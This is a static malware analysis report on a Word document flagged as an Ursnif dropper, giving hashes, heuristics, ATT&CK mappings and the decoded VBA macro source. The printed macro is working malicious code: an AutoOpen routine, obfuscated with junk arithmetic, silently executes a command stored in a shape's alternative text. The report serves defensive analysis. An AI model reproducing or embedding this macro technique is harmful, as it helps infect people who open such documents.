Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 2b7b28314414fc93…

MALICIOUS

Office (OLE)

67.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 0bc52e9ef4c1d91290d8db143f8090bb SHA-1: 29ded1e414518d7b5943170557cc801fef68ad56 SHA-256: 2b7b28314414fc93c7300c614a30446e7853828e0b79c3d1abaddb405498ad0f
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro executes a command using the AlternativeText property of a shape, which is likely to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Ursnif-6864686-0' strongly suggests the Ursnif family, known for its banking trojan capabilities.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1315 bytes
SHA-256: 9095bad9b4a5158a2eea838abf48c6ba271916175d56ccb57a7a2c55a10ea6da
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mnyfase"
Function xtqfGdQB()

Dim fzutyla As Integer
Dim GKSCNj As Long
fzutyla = 1759# - 7190#
Dim kfelug As Variant
kfelug = fzutyla - 9231#

Dim UgWtNdHO As Integer
Dim shagy As Long
UgWtNdHO = 6456# - 3244#
Dim mkugumiv As Variant
mkugumiv = UgWtNdHO - 1869#







Set xtqfGdQB = ActiveDocument.Shapes(2)





End Function
Sub AutoOpen()

Dim mjewifapusa As Integer
Dim eYcIU As Long
mjewifapusa = 1576# - 4239#
Dim shytoduwa As Variant
shytoduwa = mjewifapusa - 9633#

Dim xgoky As Integer
Dim htehak As Long
xgoky = 7838# - 6965#
Dim iUzqvFSQ As Variant
iUzqvFSQ = xgoky - 1684#



Set tjanoru = xtqfGdQB

fhsYreww = xtqfGdQB.AlternativeText





Interaction.Shell@ _
fhsYreww, vbHide

Dim xrywaceta As Integer
Dim afhXO As Long
xrywaceta = 5995# - 1727#
Dim cSpTCjAw As Variant
cSpTCjAw = xrywaceta - 5946#

Dim NGXVM As Integer
Dim amVpd As Long
NGXVM = 1416# - 7109#
Dim XZyjt As Variant
XZyjt = NGXVM - 9258#





End Sub